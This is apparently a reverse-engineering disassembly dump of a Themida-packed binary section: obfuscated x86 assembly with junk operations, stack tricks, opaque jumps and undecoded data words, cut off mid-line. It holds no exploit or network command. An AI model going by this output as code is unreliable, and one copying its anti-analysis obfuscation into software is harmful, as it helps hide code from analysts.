80D2F65Ah, 0E2C001C2h, 0E9B45006h dd 30F9C480h, 23E9E2h, 248B0000h, 48B6624h, 4EC8124h, 89000000h dd 0E189240Ch, 4EC8353h, 68242C89h, 28B91B36h, 0FFAE06E9h dd 516658FFh, 5BE9DAB5h, 89FFFF16h, 1D3568E7h, 0CE90000h dd 81FFFF24h, 225B8EBh, 57C32906h, 947637BFh, 81DFF717h dd 969BEFC7h, 5FFB011Dh, 7CB5C381h, 53506A03h, 0A378A3BBh dd 0F972E957h db 2 dup(0FFh) word_564E26 dw 8B66h ; DATA XREF: Themida_:00552B74o dd 268240Ch, 8900001Eh, 0F5682414h, 5400007Bh, 8124048Fh dd 42404h, 515A0000h, 0F30AB4B9h, 0ADE95720h, 5C00000Fh dd 240C8966h, 0A9468h, 241C8900h, 88E58851h, 0D98859EBh dd 81241C8Bh, 4C4h, 88FC8800h, 1410E9CFh, 0C581FFFFh, 495E7833h dd 34FFEB29h, 0EC835D24h, 240C8904h, 0BE56E189h, 4, 0DFE9F101h db 0F2h, 2 dup(0FFh) byte_564E97 db 0ADh ; DATA XREF: Themida_:00552AD0o dd 207F83h, 2D1D840Fh, 0BD55FFFFh, 58836358h, 0FF4735E9h db 0FFh ; --------------------------------------------------------------------------- loc_564EAD: ; CODE XREF: Themida_:0055587Fj xchg edi, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp inc word ptr [esp] pushf jmp loc_557C86 ; --------------------------------------------------------------------------- db 0BAh, 0D5h, 23h dd 6FE97C42h, 51FFFF46h, 0F2AB8DB9h, 0E9CA01F5h, 0FFFF2EDCh dd 4204EAC1h, 0AEE9DAF7h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564EE7: ; CODE XREF: Themida_:005606F2j mov edi, ebp pop ebp add ecx, edi mov edi, [esp] add esp, 4 jmp loc_55B97F ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 240C8B00h, 56E38953h, 4BEh, 335E900h dd 3C890000h, 242C8124h, 4CBE7589h, 0FF777AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564F21: ; CODE XREF: Themida_:005641EBj push dword ptr [esp] jmp loc_55C848 ; --------------------------------------------------------------------------- loc_564F29: ; CODE XREF: Themida_:00560A52j add edi, 0A26E9659h sub ebx, edi mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edi push 3A46h jmp loc_560B67 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFEE034h, 1557E95Dh, 0C181FFFFh, 0B371A537h, 4AE9CE01h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_564F67: ; CODE XREF: Themida_:005672CBj pop edx jmp loc_555A59 ; --------------------------------------------------------------------------- db 29h, 0EFh, 0E9h dd 0FFFF38FEh ; --------------------------------------------------------------------------- loc_564F74: ; CODE XREF: Themida_:00565B6Ej add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] loc_564F9C: ; CODE XREF: Themida_:005671F5j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx jmp loc_557CD0 ; --------------------------------------------------------------------------- loc_564FB1: ; CODE XREF: Themida_:00561A39j mov [esp], edi jmp loc_55D2A1 ; --------------------------------------------------------------------------- db 0BDh, 0D7h, 69h dd 0C58110F3h, 0EF0C962Dh, 48E9EA01h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564FCB: ; CODE XREF: Themida_:005535B1j pop edi jmp loc_55404E ; --------------------------------------------------------------------------- db 0BEh, 4Fh, 24h dd 0C5E9280Fh, 68FFFF09h, 178Dh, 0B9240C89h, 4, 0C8B5A51h dd 4C48324h, 148BD501h, 0F70DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564FFA: ; CODE XREF: Themida_:0055546Dj mov [esp], edx mov edx, 0 add edx, eax add dword ptr [edx], 1 pop edx pop eax push dword ptr [esp] mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_565B5F ; --------------------------------------------------------------------------- db 81h dd 6C5BF3E2h, 4EAC13Dh, 2A75F281h, 0D0013786h, 3B85055Ah dd 0C8010657h, 573B852Dh, 6BCE2D06h, 55934C0h, 5DF6760Ch dd 54E95356h, 81FFFF2Ch, 4C4h, 0F437E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56505E: ; CODE XREF: Themida_:0056585Fj and ecx, eax pop eax add ecx, 0F7C7BAA3h sub edx, ecx mov ecx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], eax push 100h mov eax, [esp] add esp, 4 push 5F1Ah mov [esp], ebp push ebx jmp loc_55906A ; --------------------------------------------------------------------------- loc_56509B: ; CODE XREF: Themida_:00561AA8j add edi, 7E506CE9h and edi, 345629FEh neg edi or edi, 5EBC399Ah shl edi, 4 jmp loc_5655BC ; --------------------------------------------------------------------------- db 8Bh dd 0A9E92424h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5650BF: ; CODE XREF: Themida_:0055DF2Cj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push ecx not dword ptr [esp] mov ecx, [esp] push esi mov esi, esp jmp loc_55B282 ; --------------------------------------------------------------------------- loc_5650DA: ; CODE XREF: Themida_:00555A2Bj push esi jmp loc_55701D ; --------------------------------------------------------------------------- loc_5650E0: ; CODE XREF: Themida_:0055F9DFj xor edx, 69604793h add edx, 0A486D7D6h add [esp+8], edx jmp loc_5565D3 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FFC2C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5650FD: ; CODE XREF: Themida_:00553D72j push edi jmp loc_552DCD ; --------------------------------------------------------------------------- db 8Bh dd 0D0E9240Ch, 0B7FFFF8Eh, 66F800BDh, 0E9E8285Bh, 0FFFF2FEAh dd 0E924248Bh, 0FFFF4A30h, 83E28159h, 5133A714h, 4C72BA52h dd 82E92275h, 83FFFF99h, 0FF042404h, 1FE92434h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56513F: ; CODE XREF: Themida_:005636D1j mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] or edx, eax jmp loc_5558FA ; --------------------------------------------------------------------------- loc_56516B: ; CODE XREF: Themida_:00563116j mov [esp], ebp push 15D2346Dh pop ebp push ecx jmp loc_566887 ; --------------------------------------------------------------------------- dw 545Ch dd 5724048Fh, 4BFh, 247C0100h, 13E95F04h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56518F: ; CODE XREF: Themida_:00561DD9j inc ecx jmp loc_55A8AE ; --------------------------------------------------------------------------- loc_565195: ; CODE XREF: Themida_:0055E424j sub ecx, 0A3657C9h push 6E80h mov [esp], edx mov edx, 730F5894h sub edx, 567C0381h shl edx, 7 sub edx, 0FF9A3406h jmp loc_55F5AA ; --------------------------------------------------------------------------- dword_5651BC dd 0FF2434FFh, 34FF2434h, 0C4835824h ; DATA XREF: Themida_:00552A40o db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push esi push 17D30F60h mov esi, [esp] push esi jmp loc_55C998 ; --------------------------------------------------------------------------- dword_5651DC dd 0B107E9ADh, 0DA01FFFFh, 1A1AC281h, 34FF58A0h, 0C4815B24h ; DATA XREF: Themida_:00552BB4o dd 4, 0E9241433h, 0FFFF9EECh ; --------------------------------------------------------------------------- loc_5651FC: ; CODE XREF: Themida_:0055EEF5j pop dword ptr [esp] push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop esi jmp loc_56179F ; --------------------------------------------------------------------------- dd 0CF81DFF7h, 108B3C24h, 3C29EF81h, 0FE29BC87h, 5EF3015Fh dd 0FF35E950h db 0FEh, 0FFh word_56522A dw 4ACh ; DATA XREF: Themida_:00552C28o dd 4EC83A8h, 51241489h, 0C181E189h, 4, 4E981h, 0EDE90000h dd 1000008h, 24348BF3h, 4C481h, 0EB810000h, 4, 8B241C87h dd 2BE92424h, 1FFFF9Fh, 241C8BD9h, 4C481h, 0C330000h, 842EE924h dd 0E0D1FFFFh, 0FEDC56E9h, 5EB951FFh, 8170D90Ah, 663F5AF1h dd 0BB535659h, 15AC0B1Ch, 28E3814Bh, 0C15D1027h, 0C38107EBh dd 164C7347h, 0FFB551E9h, 25A5BEFFh, 0EE811053h, 0E384084Ah dd 815EF229h, 157480C2h, 0C2815E3Eh, 79436817h, 0E2BBD55h dd 0EA3138DAh, 0C8C7815Dh, 10E0665h, 0C8EF81D7h, 0FF0E0665h dd 6E92434h, 51000000h, 0FF816CE9h, 0B5685AFFh, 0E900007Fh dd 0FFFF23CBh, 0BE243489h, 4, 0B9E9F701h, 59FFFF5Fh, 4B850h dd 0C2010000h, 0FFC422E9h db 0FFh ; --------------------------------------------------------------------------- loc_56530D: ; CODE XREF: Themida_:005671D5j mov eax, 54446187h or ecx, eax jmp loc_55FBFE ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 52h dd 52FFFEE5h, 965FF6BAh, 1BE94A6Ah db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_56532B: ; CODE XREF: Themida_:0055B7D8j push ebp mov ebp, 4 add ebx, ebp pop ebp push edi mov edi, 4 jmp loc_555DDA ; --------------------------------------------------------------------------- db 5 dd 701530BCh, 0BC2DD029h, 8B701530h, 0EFE92414h, 66FFFFABh dd 0E9240C8Bh, 0FFFF5107h ; --------------------------------------------------------------------------- loc_56535C: ; CODE XREF: Themida_:00560908j push edi jmp loc_561AA3 ; --------------------------------------------------------------------------- dw 0EA81h dd 20C224D9h, 895AD001h, 0EB8158C5h, 0CC7049Eh, 0E9E9EB01h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56537B: ; CODE XREF: Themida_:00553947j add dword ptr [esp+8], 3A166DFEh mov ebx, [esp] add esp, 4 push edx mov edx, 25602899h push ecx mov ecx, 50844FD3h or ecx, 37BB758Bh sub ecx, 0B3D33B9h or edx, ecx pop ecx jmp loc_55F9DC ; --------------------------------------------------------------------------- dd 0E95DEA31h, 0FFFF9A21h, 525FFB01h, 0FF72EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5653BD: ; CODE XREF: Themida_:005553E6j mov ecx, ebp pop ebp sub ecx, 8CE0B1Dh jmp loc_5669F0 ; --------------------------------------------------------------------------- db 89h dd 82BF243Ch, 0F7555835h, 50D7F7DFh, 0DB279AB8h, 0E9C7313Ch dd 0FFFFB1B6h, 6866D830h, 89666367h, 0CDE9240Ch, 81000021h dd 9F4AFEEEh, 242C8B43h, 8104C483h, 0B5397CC6h, 9FEE8174h dd 0E9156F64h, 0FFFF826Dh ; --------------------------------------------------------------------------- loc_565410: ; CODE XREF: Themida_:0055BF4Dj add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_566788 ; --------------------------------------------------------------------------- dd 0E9243433h, 0FFFFF7B4h, 52243C89h, 0BC7B8CBAh, 0E9D78932h dd 0FFFF26B3h, 4C481h, 0C4830000h, 13E95204h, 31FFFF64h dd 0D98959CBh, 0FF3A23E9h db 0FFh ; --------------------------------------------------------------------------- loc_565455: ; CODE XREF: Themida_:0055C3C7j push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 38273B2Eh add ecx, 0C7D8C4D6h add ebx, 457E6ACDh jmp loc_5654B5 ; --------------------------------------------------------------------------- db 81h, 0C3h, 22h dd 815C71F7h, 83121BEEh, 7FEE8169h, 29755614h, 7FB850DEh dd 1755614h, 6C6858C6h, 0E900005Ch, 0FFFFFF2Fh, 35068h dd 24248900h, 0FF0678E9h db 0FFh ; --------------------------------------------------------------------------- loc_5654A9: ; CODE XREF: Themida_:005593F3j pop esi add esp, 4 jmp loc_5626CB ; --------------------------------------------------------------------------- loc_5654B5: ; CODE XREF: Themida_:00565470j add ebx, ecx sub ebx, 457E6ACDh mov ecx, [esp] add esp, 4 jmp loc_56364C ; --------------------------------------------------------------------------- loc_5654CB: ; CODE XREF: Themida_:0055A516j add edx, ecx pop ecx mov ebp, edx pop edx and ebp, 69F21941h inc ebp push edi mov edi, 571506D8h push eax mov eax, 48C612E7h push esi mov esi, 47830E5Eh shr esi, 5 not esi jmp loc_5599BA ; --------------------------------------------------------------------------- dd 0E8C064B0h, 0E96C0C04h, 0FFFF52A7h, 0FCE9FD29h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565507: ; CODE XREF: Themida_:00564793j push eax jmp loc_55A15E ; --------------------------------------------------------------------------- loc_56550D: ; CODE XREF: Themida_:0055FBF9j sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, 623243B0h jmp loc_5581B2 ; --------------------------------------------------------------------------- dd 663EB81h, 835E1BFAh, 1C8904ECh, 2474FF24h, 241C8B04h dd 0AAE95452h, 0B1FFFF08h, 27B750h, 0C78059CFh, 5BF8280Dh dd 0EC83E504h, 1C896602h, 32E36824h, 0C890000h, 0B352B524h dd 5BEB80C7h, 3055C380h, 0CBE959EBh db 0EAh, 2 dup(0FFh) byte_56556F db 66h ; DATA XREF: Themida_:00552AE0o dd 6824048Bh, 60A7h, 68243C89h, 36F4h, 24048F54h, 4240483h dd 3C3BE95Fh, 0E959FFFFh, 286h ; --------------------------------------------------------------------------- loc_565594: ; CODE XREF: Themida_:00563BF1j push dword ptr [esp] pop ebx add esp, 4 jmp loc_55880B ; --------------------------------------------------------------------------- loc_5655A0: ; CODE XREF: Themida_:0055BB9Cj add eax, ecx mov ecx, [esp] jmp loc_566707 ; --------------------------------------------------------------------------- word_5655AA dw 8B66h ; DATA XREF: Themida_:00552A00o dd 0EC81240Ch, 4, 0E9241C89h, 0FFFF4B6Fh ; --------------------------------------------------------------------------- loc_5655BC: ; CODE XREF: Themida_:005650B2j add edi, 4000424h add ebx, edi pop edi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shr eax, 0Ah xor eax, ecx jmp loc_55F983 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 0D567E956h db 2 dup(0FFh) word_5655EE dw 4F68h ; DATA XREF: Themida_:00552BD0o dd 89000075h, 14682424h, 89000029h, 4BB241Ch, 68000000h dd 59C4h, 0FFCDD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56560D: ; CODE XREF: Themida_:00560FDFj add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ecx jmp loc_55F70F ; --------------------------------------------------------------------------- dd 0B60FC330h, 148B66C0h, 1BCC6824h, 34890000h, 105AE924h dd 0BF570000h, 50DA2064h, 0E781D7F7h, 621B2761h, 6FDEF81h dd 0F9012201h, 0E9575Fh, 81000022h, 1D302DF3h, 64BA5244h dd 3179843Eh, 89575AD3h, 5FFD89DFh, 0FF99ADE9h, 882FB5FFh dd 5CE959EEh, 89FFFF66h, 0C388241Ch, 1C8BDD88h, 4C48324h dd 0C8BEF88h, 4C48324h, 582434FFh, 8804C483h, 241C8BFDh dd 0E9E68956h, 0FFFFEBB5h ; --------------------------------------------------------------------------- loc_5656A0: ; CODE XREF: Themida_:005670E5j add esi, 4 push ebx mov ebx, 4 jmp loc_55645D ; --------------------------------------------------------------------------- db 81h, 0EAh, 27h dd 29259945h, 27C281F2h, 8B259945h, 0C4832434h, 24348B04h dd 4C481h, 0E9500000h, 0FFFFA40Bh ; --------------------------------------------------------------------------- loc_5656D4: ; CODE XREF: Themida_:0055C440j sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_55D432 ; --------------------------------------------------------------------------- dw 0C183h dd 240C8704h, 39EE9h, 6AF38100h, 8B676E46h, 69E92414h db 67h, 2 dup(0FFh) byte_5656FB db 66h ; DATA XREF: Themida_:005529F8o dd 68240C8Bh, 6B81h, 0E9243C89h, 0FFFF4F83h ; --------------------------------------------------------------------------- loc_56570C: ; CODE XREF: Themida_:0055BB29j pop esi and eax, ecx jmp loc_5636C7 ; --------------------------------------------------------------------------- dd 4BB5358h, 29000000h, 241C8BD9h, 8704C483h, 895C240Ch dd 0E9512434h, 0FFFEED80h ; --------------------------------------------------------------------------- loc_565730: ; CODE XREF: Themida_:0055A8C2j add ebp, ecx pop ecx jmp loc_5648FB ; --------------------------------------------------------------------------- dword_565738 dd 84E932FFh ; DATA XREF: Themida_:00552C44o db 0D5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56573F: ; CODE XREF: Themida_:0055A1CCj sub eax, ebx push edx mov edx, 6DDA1D8Ch not edx shr edx, 5 jmp loc_5571B4 ; --------------------------------------------------------------------------- loc_565751: ; CODE XREF: Themida_:00561C93j mov esp, [esp] mov [esp], cx mov ch, 25h dec ch add ch, 0DBh xor ch, 52h jmp loc_564A47 ; --------------------------------------------------------------------------- byte_565767 db 66h ; DATA XREF: Themida_:00552A24o dd 8324048Bh, 348904ECh, 27406824h, 0E9540000h, 0FFFF6548h ; --------------------------------------------------------------------------- loc_56577C: ; CODE XREF: Themida_:005586BEj push edi mov edi, 44A347D9h jmp loc_55C038 ; --------------------------------------------------------------------------- loc_565787: ; CODE XREF: Themida_:005608E2j pop ecx and eax, edi jmp loc_55CE8A ; --------------------------------------------------------------------------- db 29h dd 97E95EF0h, 89000007h, 90B9240Ch, 8169306Eh, 3874BDC1h dd 1C98144h, 5631FA7Dh, 481DEEBEh, 5EF1316Bh, 4867C181h dd 0CA294B0Dh, 3BF5759h, 0E9658B4Eh, 0FFFFA14Ah ; --------------------------------------------------------------------------- loc_5657C8: ; CODE XREF: Themida_:0055E82Aj push ebx jmp loc_566B62 ; --------------------------------------------------------------------------- loc_5657CE: ; CODE XREF: Themida_:005570A8j sub ecx, 4AAF535Eh mov edi, [esp] add esp, 4 add ecx, 5CF6A48Eh add esi, 141E7572h sub esi, 74F811AFh sub esi, ecx add esi, 74F811AFh sub esi, 141E7572h pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_562FCC ; --------------------------------------------------------------------------- dd 1B685257h, 5A70282Ch, 3A46E94Ah, 34FFFFFFh, 0C4835824h dd 88A9E904h db 2 dup(0FFh) word_565826 dw 8B66h ; DATA XREF: Themida_:00552B7Co dd 4B682404h, 89000001h, 0FF54242Ch, 95E92434h db 0FBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56583B: ; CODE XREF: Themida_:00566362j xor ebx, 452E3D35h shr ebx, 8 not ebx add ebx, 0F4E25961h push ebx sub dword ptr [esp], 69EC158Ch jmp loc_55B274 ; --------------------------------------------------------------------------- loc_565859: ; CODE XREF: Themida_:00563A30j push eax mov eax, 83A7DEDh jmp loc_56505E ; --------------------------------------------------------------------------- dd 0E950E589h, 0FFFF2404h dword_56586C dd 0FA0FE9ACh, 0F768FFFEh, 89000062h, 5954240Ch, 4C181h ; DATA XREF: Themida_:00552BE4o dd 0E9830000h, 240C8704h, 240C895Ch, 0DB78A5B9h, 6F76E918h dd 159FFFFh, 78C381D3h, 0E97BCA5Bh, 0FFFF9287h, 5E246856h dd 89E90000h, 5FFFFF6Ah, 1B1DE9h, 24048900h, 0FEDB49E9h dd 1BEE81FFh, 1F4FDFDh, 8BE95EF2h, 1FFFED4h, 0BFBD55CBh dd 504DA947h, 0F3418FB8h, 0E2E0D4Fh, 0F8E92B95h, 81FFFFE0h dd 4C4h, 76C78100h, 0E917FE2Dh, 0FFFFF679h, 9D58D3BDh dd 0E9EA2925h, 0FFFFCC3Bh dword_565900 dd 0E9240C30h, 0FFFF4A48h, 52242489h, 4BAh, 56D1E900h ; DATA XREF: Themida_:00552A5Co dd 0C289FFFFh, 8BD70958h, 0C4812414h, 4, 0FDE95457h, 87FFFF23h dd 895C2404h, 4BB241Ch, 0E9000000h, 0FFFFAF21h, 104C483h dd 78EBE9C3h, 814AFFFFh, 9F368EAh, 3481525Ah, 9811AF24h dd 0F5815D46h, 469811AFh, 0FFCD7CE9h, 240429FFh, 0D359E99Ch dd 0E0D1FFFEh, 0CEBB2E35h, 0BAC581D4h, 138586Bh, 0B48E9C5h dd 2966FFFFh, 148B66D6h, 2C48124h, 66000000h, 5EE9F001h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565993: ; CODE XREF: Themida_:005558BBj xchg ebx, [esp] pop esp sub eax, 1D75110Bh jmp loc_565D47 ; --------------------------------------------------------------------------- loc_5659A1: ; CODE XREF: Themida_:005539EFj push esi jmp loc_55FBF1 ; --------------------------------------------------------------------------- loc_5659A7: ; CODE XREF: Themida_:0055FF87j mov [esp], ebx push dword ptr [esp] jmp loc_558697 ; --------------------------------------------------------------------------- dw 1489h dd 2474FF24h, 48F5A04h, 0C4835C24h, 0DAE8E904h, 0EE83FFFFh dd 388AE904h, 0C181FFFFh, 4, 6CFE9h, 5C82900h, 3D8D7A4Fh dd 7909C12Dh, 0EF73E962h, 0EAC1FFFEh, 4E2C108h, 11EEF281h dd 0D089798Fh, 0FFF0315Ah, 575E2434h, 0FF66B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_565A05: ; CODE XREF: Themida_:0055F169j push ecx mov ecx, esp add ecx, 4 push 699Eh mov [esp], esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] push eax xor [esp], ebp xor ebp, [esp] xor [esp], ebp jmp loc_5617F0 ; --------------------------------------------------------------------------- aZpsps db 'ZPSPИ,',1Bh,0 align 4 loc_565A3C: ; CODE XREF: Themida_:00552CFDj push dx mov dh, 6Ch jmp loc_55BEFF ; --------------------------------------------------------------------------- db 57h, 0BFh, 0E0h dd 0D1623A7Ch, 89C781EFh, 553B584Dh, 3F3712BDh, 46CD8176h dd 0E92BA675h, 0FFFEF073h, 73E9F800h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A6B: ; CODE XREF: Themida_:0055BAC9j push eax jmp loc_55648C ; --------------------------------------------------------------------------- db 81h, 0EBh, 0B9h dd 0E91EEF55h, 1460h ; --------------------------------------------------------------------------- loc_565A7C: ; CODE XREF: Themida_:0055FF35j neg edx sub edx, 0F8974058h or ebx, edx jmp loc_553A3F ; --------------------------------------------------------------------------- db 5Ch dd 0E9242C87h, 0FFFFC163h ; --------------------------------------------------------------------------- loc_565A94: ; CODE XREF: Themida_:0055A568j sub eax, 32DB4F9Ch xor eax, 2DD742CDh sub eax, 0B20610E4h mov edx, eax pop eax shr edx, 4 shr edx, 5 sub edx, 29F405CDh jmp loc_55B4DF ; --------------------------------------------------------------------------- db 0C1h dd 0BE5605EDh, 2E56BD4h, 506BF57h, 0CF817457h, 6452C8Fh dd 66AEE957h, 0D2F7FFFFh, 5610B951h, 93E96C30h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565ADF: ; CODE XREF: Themida_:00565BD7j pop ecx jmp loc_5614F3 ; --------------------------------------------------------------------------- loc_565AE5: ; CODE XREF: Themida_:0055874Cj push edx push ebx mov ebx, 4 mov edx, ebx pop ebx add ebp, edx pop edx sub esp, 4 mov [esp], esi jmp loc_55A0BE ; --------------------------------------------------------------------------- aBqf db ')о│ОД',0 db 4Bh dd 240C8B17h, 0B904C483h, 131F4829h, 3C26F181h, 0D9F77F77h dd 0E904E1C1h, 0FFFFEAEAh, 4C4815Ch, 68000000h, 6855h dd 0E9241C89h, 0FFFFC090h, 31240C33h, 0C33240Ch, 1C895C24h dd 0E9D2B324h, 0FFFEF6F4h dword_565B48 dd 240C8B66h, 88568h, 24048900h, 0FF964DE9h, 0D7E95BFFh ; DATA XREF: Themida_:00552B0Co db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B5F: ; CODE XREF: Themida_:0056501Ej xchg ebp, [esp] mov esp, [esp] push ebx push 74E1h mov [esp], esp jmp loc_564F74 ; --------------------------------------------------------------------------- loc_565B73: ; CODE XREF: Themida_:00555BF2j add esp, 4 sub esi, 4F4E17A3h mov ebx, esi pop esi shr ebx, 6 sub ebx, 3AF85A92h sub ebx, 0FFFFFFFFh push ecx push edi jmp loc_55B2F1 ; --------------------------------------------------------------------------- dw 0CCFEh dd 0FED9DFE9h, 24048FFFh, 6624248Bh, 8124048Bh, 4ECh, 24148900h dd 0FF938AE9h db 0FFh ; --------------------------------------------------------------------------- loc_565BB1: ; CODE XREF: Themida_:0056045Aj mov edi, ebx pop ebx add edi, ecx mov ecx, [esp] add esp, 4 jmp loc_559F13 ; --------------------------------------------------------------------------- dd 0FED0FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_565BC9: ; CODE XREF: Themida_:0055D0F2j push edi jmp loc_5578E2 ; --------------------------------------------------------------------------- loc_565BCF: ; CODE XREF: Themida_:0055BB7Fj sub ecx, 54957E9h sub edi, ecx jmp loc_565ADF ; --------------------------------------------------------------------------- dd 0CB79E953h, 0A268FFFFh, 581D0923h, 2B266852h, 148B7363h dd 4C48324h, 4DD4F281h, 82E9204Dh, 30FFFED1h, 512C5AF5h dd 5104E828h, 0FF0F9FE9h, 24248BFFh, 0FF2166E9h, 4C481FFh dd 1000000h, 4CE955CEh db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C23: ; CODE XREF: Themida_:005548BAj push ecx push eax mov eax, 77CE2162h mov ecx, eax pop eax sub esi, 1E05765Eh jmp loc_5575B9 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFF4C63h, 621685B8h, 0AE89BB45h, 0C3016492h dd 0FFD82958h, 80E92434h, 52FFFFE9h, 0F28057B2h, 3B85E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C62: ; CODE XREF: Themida_:005669F6j xchg ebp, edx not ebp xchg ebp, edx sub esp, 4 mov [esp], edi mov edi, 5B8C7C62h jmp loc_56098C ; --------------------------------------------------------------------------- db 81h dd 42404h, 835E0000h, 2FE904ECh, 0BFFFFF18h, 186C33F7h dd 259EEB81h, 0FB013028h, 259EC381h, 3C8B3028h, 4C48124h dd 68000000h, 37EBh, 57240489h, 3137F968h, 243C8B5Dh, 4C481h dd 0EF810000h, 2A3CF01Ch, 3C8BF889h, 4C48324h, 6B60BE25h dd 0D1AEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565CD6: ; CODE XREF: Themida_:0055E237j push eax mov eax, 7F431F6Ch sub eax, 783EEF79h sub edi, eax jmp loc_5608CC ; --------------------------------------------------------------------------- loc_565CE8: ; CODE XREF: Themida_:00565E6Ej add ecx, eax pop eax push edi push ebp push 6A4E133Ah jmp loc_557E7C ; --------------------------------------------------------------------------- db 66h dd 2404BB0Fh, 0CFC1E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565D02: ; CODE XREF: Themida_:00557C26j mov ebx, 64841D97h inc ebx sub esp, 4 mov [esp], edi mov edi, 0 sub edi, ebx jmp loc_560C70 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 0E9h dd 0FFFEE634h, 7685E951h, 405FFFFh, 81000000h, 4ECh, 24148900h dd 0FFF188E9h, 2157BBFFh, 24E9502Ah db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D47: ; CODE XREF: Themida_:0056599Cj sub eax, edi add eax, 1D75110Bh pop edi push 0FE0h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx jmp loc_56214F ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 0E9515200h, 0FFFF8BBDh, 2434FF5Dh dd 0E1895159h, 4C181h, 41E90000h, 66FFFFACh, 778EC681h dd 0E9F30166h, 0FFFFAB1Fh ; --------------------------------------------------------------------------- loc_565DA0: ; CODE XREF: Themida_:005580E0j pop edx xor edx, 5435230Fh jmp loc_55E82F ; --------------------------------------------------------------------------- dd 348BF029h, 4C48124h, 0E9000000h, 1B6h, 8359CF01h, 3C8704C7h dd 5F685C24h, 89000028h, 5BF243Ch, 56580F27h, 6A619CBEh dd 0A6EE8120h, 0F72AB04Bh, 0ADCE81DEh, 0C114FA13h, 0EC8302E6h dd 24048904h, 0B0107BB8h, 0E9C62964h, 0FFFF99ADh, 12266851h dd 81593CF2h, 0B9D2BCE9h, 348151BDh, 576E4824h, 0F7815F3Eh dd 3E576E48h, 81E7D159h, 891E6FE7h, 0BA525648h, 970CD70Ch dd 0FF2357E9h db 0FFh ; --------------------------------------------------------------------------- loc_565E2D: ; CODE XREF: Themida_:0055C57Bj add ebx, edi add ebx, 0A365ED0h pop edi push 7B2Ch mov [esp], ebx jmp loc_55BE84 ; --------------------------------------------------------------------------- loc_565E43: ; CODE XREF: Themida_:00556F4Fj mov eax, ebx pop ebx shr eax, 3 push ebp mov ebp, 2A822A8h and eax, ebp pop ebp shl eax, 5 sub eax, 128229C8h xor eax, 0AF5950C8h xor eax, 53CC7753h push eax not dword ptr [esp] pop eax sub eax, 0EDE8F358h jmp loc_565CE8 ; --------------------------------------------------------------------------- loc_565E73: ; CODE XREF: Themida_:00558F58j xor [esp], eax xor eax, [esp] pop esp sub bl, 0Ch movzx eax, al lea eax, [edi+eax*4] push 2D55h mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 push 25A6h mov [esp], ecx mov ecx, 4 add eax, 43F0EB3h sub eax, ecx sub eax, 43F0EB3h push dword ptr [esp] mov ecx, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push 7E15h jmp loc_5543BB ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 43304E8h, 24043124h, 0E9240433h dd 0FFFF12A8h, 8124048Bh, 4C4h, 38C6800h, 34890000h, 0F453E924h db 0FEh, 